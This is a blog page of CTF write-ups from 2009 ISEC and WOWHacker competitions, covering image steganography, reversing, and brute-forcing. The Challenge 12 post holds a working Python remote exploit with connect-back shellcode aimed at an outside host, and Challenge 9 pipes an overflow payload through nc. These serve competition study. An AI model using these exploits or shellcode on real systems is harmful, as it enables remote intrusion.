ISEC 2009 CTF Prequal – Challenge 4

August 27, 2009 by leenmie · Leave a Comment 

This was a funny challenge. Below are two pictures provided by the organizer. Just use a picture compare tool and look in to the girl’s boobs. There is nothing to say more.

Picture 1:

ISEC 2009 CTF Prequal Img1

ISEC 2009 CTF Prequal Img1

Picture 2:

ISEC 2009 CTF Prequal Img2

ISEC 2009 CTF Prequal Img2

Comparing the two pictures using Beyond Compare tool, the secret will be revealed.

Compare 2 Images

Compare 2 Images

The keyword is “OH, WTF” (the text on the pink girl boobs ^^,)

It’s really funny.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

WOWHacker CTF – Challenge 2 and Challenge 9

August 26, 2009 by thaidn · Leave a Comment 

Challenge 2

Challenge 2 is simple yet interesting. The initial target is a Python 2.2 byte-compiled file, so the first job is to decompile it to get the source code. Fortunately, decompyle just works:

$ decompyle newbie.pyc

Thu Aug 27 02:13:25 2009
# emacs-mode: -*- python-*-
import urllib
def some_cryption(arg):
    pass
a = 'http://'
dummy = 'http://korea'
b = 'uxcpb.xe'
b = b.encode('rot13')
c = 'co.kr'
cs = '.com'
d = '/vfrp/uxuxux'
dt = '/hackers'
d = d.encode('rot13')
dx = 'coolguys'
ff = urllib.urlopen(((a + b) + d))
f_data = ff.read()
file = open('hkhkhk', 'w')
file.write(f_data)
some_cryption(f_data)
file.close()

You can see that the purpose of this script is to download some data from a fixed URL, and save them to a file named hkhkhk. We ran the script, and it indeed downloaded this file. As the script suggests, the content of hkhkhk is encrypted by some cipher. 

Opening hkhkhk in a hex editor, one could see that it contains quite a lot of 0×77 characters. A friend of us, Julianor from Netifera, thought that hkhkhk is an executable file, and because excutable file contains a lot of null bytes so 0×77 may be the null byte in the original file. He suggested xoring the content of hkhkhk against 0×77. We did as he suggested, and it worked :-D. hkhkhk turns out to be an ELF executable file:

$ file hkhkhk
hkhkhk: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped

$ ./hkhkhk
./hkhkhk [server] [port]

---------------------------
server> 221.143.48.88
port> 1111, 2222, ..., 9999
---------------------------

Disassembling hkhkhk reveals that this binary is just a simple client that connects to a remote server to get two integers, and send the sum of them back to that server. If the result is correct (which is always), the server will return a congratulation message like below:

$ ./hkhkhk 221.143.48.88 1111
[(867925) + (9792)] = ?
answer is 877717
it's correct. great!, :-)

At first, we thought we should try to exploit the server to force it to return an error or something, but that didn’t work. Then we thought there’s something hidden inside hkhkhk, so superkhung and I spent 1 hour to inspect every single instruction of the binary, but we saw nothing weird.

At this point, a friend suggested us running the binary inside a debugger. He thought that there may be something hidden in the communication between the server and hkhkhk.

The communication? I fired up wireshark, and to my surprise, I saw the answer right away: Pandas likes hkpco XD. It turns out that the congratulation message is something like:

it's correct. great!, :-)<b>\x00</b>Password is "Pandas likes hkpco XD"

This message is passed to a printf call, and since printf expects a null-terminated string, one could never see the characters after the null byte if he doesn’t run the binary inside a debugger, or sniff the communication like us.

Challenge 9

Challenge 9 (IP: 221.143.48.88; port :4600) is a remote stack-based buffer overflow exploitation. It’s interesting because WOWHacker doesn’t release the binary as other usual exploitation challenges.

While I was banging my head against challenge 8, gamma95 told me that he could crash challenge 9 with 293 bytes. He thought that this challenge is very obvious, and wondered why none was working on it.

Actually we were very short on manpower in the first day of the premilinary round. So we chose to work only on those challenges that we were interested in or had a larger chance of solving them.

When I first saw challenge 9, I thought this challenge should be hard. Blind remote exploitation is supposed to be hard you know. This wrong assumption plus the fact that I haven’t practiced software exploitation in the last several months made me decide to leave this challenge for other teamates who might join us in the second day.

But it turns out this challenge is an easy one.

In order to exploit a stack-based buffer overflow vulnerability, one must know which address to return to. Fortunately, WOWHacker gives us a very helpful hint:

Mr.Her give you something "call me~ call me~" : bfbfeaf2

So 0xbfbfeaf2 is the return address. Normally this address should point to the beginning of our input buffer which in turn should have this structure:

&lt;SHELLCODE&gt;&lt;NOP SLED&gt;&lt;\xf2\xea\xbf\xbf&gt;

The next problem is to determine how many bytes we need to control the EIP. The trick is to use \xeb\xfe as the shellcode, and increase the message one byte a time until we see the service hang after it processes our input. If our theory of the structure of the input buffer is correct, this process will succeed eventually because \xeb\xfe means “loop forever”:

$ echo -ne '\xeb\xfe' | ndisasm -
00000000  EBFE              jmp short 0x0

Using this technique, we can see that we need totally 302 bytes to control the EIP:

$ (python -c 'print "\xeb\xfe" * 149 + "\xf2\xea\xbf\xbf"'; cat) | nc 221.143.48.88 4600

We use Metasploit to generate a BSD reverse-shell shellcode, and we got the answer: WOWHACKER without beist.

Actually this wasn’t as easy as we write here. We made two stupid mistakes: first off, we assumed that this challenge ran on a Linux box; secondly, our connect back box was behind a firewall :-(. Thanks Tora and biest for giving us a hand in resolving them.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

ISEC 2009 CTF Prequal – Challenge 12

August 26, 2009 by RD · Leave a Comment 

Summary

The provided isec binary is a memo server listening on port 8909. It has a remote buffer overflow bug in add memo function in which we can overwrite jmp_buf exception environment stored by setjmp(). Once longjmp() is called later in the program, we can control the EIP to execute our own code.

Vulnerability

The bug is inside the function which is responsible for add memo command at 0×08048CE0. Below is reverse C code of this function:

char memo_array[30][30];
char memoflag_array[30];
int lastmemo;
char buf4[4];

int add_memo(int fd)
{
    char buf128[128];
    int i;
    int idx;

    idx = lastmemo;
    memset(buf128, 0, 128);
    for ( i = 0; i &lt;= 14; ++i )
    {
        if ( i == 15 )
        {
            memcpy(buf128, "[!] Buffer Full!!\n", 19);

            return send(fd, buf128, strlen(buf128), 0);
        }
        if ( !memoflag_array[i] )
        {
            idx = i;
            break;
        }
    }
    memoflag_array[idx] = 1;
    if ( !setjmp(exception_env) )
    {
        memcpy(buf128, "\n[ Add Memo ]\n", 15);
        send(fd, buf128, strlen(buf128), 0);
        memcpy(buf128, "Enter Message : ", 17);
        send(fd, buf128, strlen(buf128), 0);
        memset(buf128, 0, 128);
        recv(fd, buf128, 28, 0);
        strcpy(buf4, buf128);
        longjmp(exception_env, 1);
    }

    if ( strlen(buf128) &lt;= 18 )
    {
        memset(memo_array[idx], 0, 30);
        sprintf(memo_array[idx], "Memo : %s, size : %d", buf128, strlen(buf128));
        memcpy(buf128, "\nSaved Memo!!\n\n", 16);
        send(fd, buf128, strlen(buf128), 0);
        result = lastmemo;
        if ( idx &gt;= lastmemo )
        {
             lastmemo = idx + 1;
             return lastmemo;
        }
    }
    else
    {
        memset(buf128, 0, 128u);
        memcpy(buf128, "size too big!!\n", 16);
        send(fd, buf128, 128, 0);
    }
}

It is easy to see a buffer overflow bug at line 37 strcpy(buf4, buf128). If the input is long enough (more than 24 bytes), we will be able to overwrite the jmp_buf exception_env (see below) which is being used to save exception stack by setjmp() at line 29. By overwriting the IP saved on this jmp_buf and pointing it back to our shellcode, once longjmp() is called later at line 38, our shellcode will be executed.

.bss:0804AD48 ; char buf[4]
.bss:0804AD48 buf4            db 4 dup(?)             ; DATA XREF: add_memo+312
.bss:0804AD4C                 public environ
.bss:0804AD4C environ         dd 5 dup(?)             ; DATA XREF: start+16
.bss:0804AD60 ; struct __jmp_buf_tag exception_env
.bss:0804AD60 exception_env   dd ?                    ; DATA XREF: add_memo+BD
.bss:0804AD60                                         ; 24 bytes away from buf4

Exploit

It’s quite straight forward to exploit this bug. The only problem is that we need to find a good location to store our connect back shellcode as the server only get 28 bytes into buf128 from client. We could do this by splitting the shellcode into many small chunks across different memo records (each memo size is 30 bytes including some predefined texts so we have about 17 bytes for each shellcode chunk in each memo).

I was able to come up with a working exploit in about half an hour after started working on this challenge. Unfortunately, since there was no preparation for this CTF game, the only freesbsd shell I can get access to was a free shell on geekshell.org. It’s a 64 bits FreeBSD box (amd64), `gcc -m32` did not work and some weird behaviors happened due to 32-bit compatibility mode. It was kinda a pain. I spent couple of hours after finishing the exploit just to figure out why my exploit didn’t work, how weird behaviors happened, non-executable data/BSS and how to bypass it and so on.. instead of working on the challenge.

As the BSS segment was non-executable in this box, I searched around the binary and eventually found out a way to do multiple ret-into-code/libc chains (such as calling another recv() for the next stage) by pointing the EIP to 0×08049454.

.text:08049454                 add     esp, 24h
.text:08049457                 pop     ebx
.text:08049458                 pop     ebp
.text:08049459                 retn

This code allows me to have ESP pointing back into the beginning part of controllable buf128 on stack for the ret/..ret/.. chaining.

Fortunately, while I was doing this, a friend went online and gave me the ssh access to his FreeBSD 32 bit box. So I stopped doing it and tried my previous exploit on this 32bits box. It worked without any problem after a few small tweaks.

xxx@spark.ofloo.net> nc -l 4445
id
uid=1006(memo) gid=1006(memo) groups=1006(memo)
cat key
WOWHACKER_WOWCODE&OVERHEAD!?

Exploit code

#!/usr/bin/env python

import socket

class memo:
	def  __init__(self, host, port):
		self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		self.s.connect((host, port))
		ret = self.s.recv(1024)
		print ret

	def addmemo(self, memo):
		cmd = "1\n"
		self.s.send(cmd)
		ret = self.s.recv(1024)
		print ret
		ret = self.s.recv(1024)
		print ret
		print repr(memo) + "\n"
		self.s.send(memo)
		ret = self.s.recv(1024)
		print ret
		ret = self.s.recv(1024)
		print ret

	def close(self):
		self.s.close()

host = "221.143.48.88"
port = 8909

c = memo(host, port)
a = raw_input("Enter to continue");

# metasploit connect back shellcode with few modifications (jmp)
# spark.ofloo.net:4445
sc = "\x68\xd4\x47\x13\x66\x68\xff\x02\x11\x5d\x89\xe7\x31\xc0\x50\x6a\x01" \
     "\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50" \
     "\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xe6\x68\x2f\x2f\x73\x68\x68\x2f" \
     "\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"

SPLITS = [15, 28, 42, 56, 65]
JMPFWD = "\xEB\x0D"
prev = 0
for next in SPLITS:
	tmp = sc[prev:next]
	tmp = tmp.rjust(15,'\x90') + JMPFWD
	c.addmemo(tmp)
	prev = next

# jmpbuf overflow [24 bytes] [EIP]
# 1st memo starts at memo_array+7 = 0x804a9c7
s = "A"*24 + "\xc7\xa9\x04\x08"
c.addmemo(s)

c.close()
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

WOWHacker CTF – Bonus Challenges

August 26, 2009 by superkhung · Leave a Comment 

Challenge 15

2009ISEC.apm is actually an Android Package file. Rename 2009ISEC.apm to 2009ISEC.apk, install it on an Android phone, then run it, tap on the About button, and you’ll see the answer which is Wowhacker$%hinehong(ISEC)#$boann.

Challenge 16

Challenge 16 is a Windows reversing challenge. The binary fishing.exe has a hidden form named TForm2. To see this form, one can replace the parameter of the first Createform() call at 00475EDC by the parameter of TForm2.

Original asm code:

00475ED6   MOV EDX,DWORD PTR DS:[4754D8] ;  00475524 &lt;&lt; value of TForm1
00475EDC   CALL 00453694

Patched asm code:

00475ED6   MOV EDX,DWORD PTR DS:[475134] ;  00475180 &lt;&lt; value of TForm2
00475EDC   CALL 00453694

TForm2 asks for a password, then it does some calculations and compares the result with MTRJ\TWQI7dUwnijTkMnLEWf.

The password processing routine starts at the loop at 004753B2:

004753B2  MOV EAX,DWORD PTR SS:[EBP-8]
004753B5  MOV BL,BYTE PTR DS:[EAX+EDI-1]
004753B9  CMP BL,20
004753BC  JE SHORT 004753DB
004753BE  LEA EAX,DWORD PTR SS:[EBP-8]
004753C1  CALL 00404384
004753C6  MOV EDX,EDI
004753C8  DEC EDX
004753C9  SAR EDX,1
004753CB  JNS SHORT 004753D0
004753CD  ADC EDX,0
004753D0  ADD EDX,EDX
004753D2  SUB BL,DL
004753D4  ADD BL,0A
004753D7  MOV BYTE PTR DS:[EAX+EDI-1],BL
004753DB  INC EDI
004753DC  CMP EDI,1A
004753DF  JNZ SHORT 004753B2

Notice that this routine is very simple, the most important are 2 operations at

004753D2 and 004753D4:

004753D2  SUB BL,DL
004753D4  ADD BL,0A

To reverse this routine, we just change subtract to add and add to subtract,  then input the encrypted password string to find out the original password.

Patched asm code:

004753D2  ADD BL,DL
004753D4  SUB BL,0A

After patching the asm code like that, we enter the encrypted password string MTRJ\TWQI7dUwnijTkMnLEWf into TForm2, and set a break point at the first argument of LStrCmp() function at 004753E1 to sniff out the decrypted password.

004753E1  MOV EAX,DWORD PTR SS:[EBP-8] ; EBP-8 will store the decrypted password
004753E4  MOV EDX,DWORD PTR DS:[479C8C]
004753EA  CALL 00404278 ; call LStrCmp()

We will see that encrypted string MTRJ\TWQI7dUwnijTkMnLEWf will be decrypted to CJJBVNSMG5dUypmnZqUvVOcr. Use this password on the original app, and we get the final answer: HOMEWORLD2_PrideOfHiG@Ra.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

ISEC 2009 CTF Prequal – Challenge 03

August 26, 2009 by olalalili · Leave a Comment 

Solution for Challenge 3 is bruteforce. The trick is to check every characters of the plaintext to figure out which nibbles it affect in encoded string. The rule is each nibble of encoded string is only affected by one char of plaintext and the character at higher position get higher priority if there’s a collision.

Then I declare struct and arrays like this :

typedef struct
{
    int nibble_1;
    int nibble_2;
} affect;

// string used for bruteforce
char s[20] = "1111111111111111111";

// encoded string got from plaintext s
char result[51]="";

// encoded string we need to get from plaintext s
char final[51]="A1 FD 7E F6 F0 70 98 D6 E5 F8 FF F8 78 B8 DE ED 0D";

affect a[20] = {{1,-1},{0,4},{3,7},{6,10},{9,-1},{12,13},{15,16},
                {18,19},{22,-1},{21,25},{24,28},{27,31},{30,-1},
                {33,34},{36,37},{39,40},{43,-1},{42,46},{45,48}};

And here is the bruteforce function:

int Brut(int index)
{
    if (index==19) {
        if (result[strlen(result)-1]==final[strlen(final)-1])
            return 1;
        return 0;
    }
    for (int j=32;j&lt;127;j++)
    {
        s[index]=j;
        ::SendDlgItemMessageA(hwndEncoder,1000,WM_SETTEXT,0,(LPARAM)s);
        ::SendMessage(hwndEncoder, WM_COMMAND, MAKEWPARAM(1002, BN_CLICKED),
                     (LPARAM)hwndEncodingButton);
        Sleep(50);
        ::SendDlgItemMessageA(hwndEncoder,1001,WM_GETTEXT,51,(LPARAM)result);
        if (((result[a[index].nibble_1]==final[a[index].nibble_1])
           &amp;&amp;(((a[index].nibble_2==-1)||(a[index].nibble_2!=-1)
           &amp;&amp;(result[a[index].nibble_2]==final[a[index].nibble_2]))) )
            &amp;&amp; (strlen(result)==strlen(final)))
        {
            if (Brut(index+1))
                return 1;
        }
    }
    return 0;
}

Main

        hwndEncoder = FindWindowA(NULL,"Encoder");
        hwndEncodingButton = FindWindowA(NULL,"Encoding");
        Brut(0);
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »